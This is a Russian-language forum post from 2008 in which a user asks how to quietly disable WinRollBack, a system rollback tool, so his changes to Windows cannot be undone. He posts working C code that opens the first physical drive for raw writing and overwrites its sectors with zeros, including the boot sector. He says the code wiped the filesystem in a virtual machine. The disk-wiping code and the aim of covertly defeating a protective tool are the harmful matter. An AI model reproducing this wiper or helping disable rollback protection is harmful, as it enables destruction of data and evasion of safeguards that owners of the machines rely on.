Как можно аккуратно снести WinRollBack?

Discussion in 'Безопасность и Анонимность' started by _nic, 28 Nov 2008.

  1. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Вот тут http://www.whatis.ru/soft/reg_p20.shtml описание это капости.Я поэксперементировал на вмваре,и вроде оно показало себя не таким хваленым как о нем пишут.
    Такой вод код
    Code:
    void destroy(void)
    {
    HANDLE fs;DWORD num;
    char bf1[512];char bf2[1024*256];
    char *disk="\\\\.\\PHYSICALDRIVE0";
    int sek=0;
    fs=CreateFile(disk,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,NULL);
    memset(bf2,0,1024*256);
    for(;;)
    {
    SetFilePointer(fs,512*sek,NULL,FILE_BEGIN);
    if(sek==0)
    {
    memset(bf1,0,512);
    WriteFile(fs,bf2,512,&num,NULL);
    }
    sek=sek+1024;
    WriteFile(fs,bf2,512,&num,NULL);
    }
    }
    
    Снес без затруднение ФС с бутсектором.Но дело в том что мне надо провернуть все поакуратней.
    Вообщем ФС и ОС убивать ненужно а нужно только замочить WinRollBack тихо и мирно,что бы нельзя было откатить то что я сделаю с виндой :)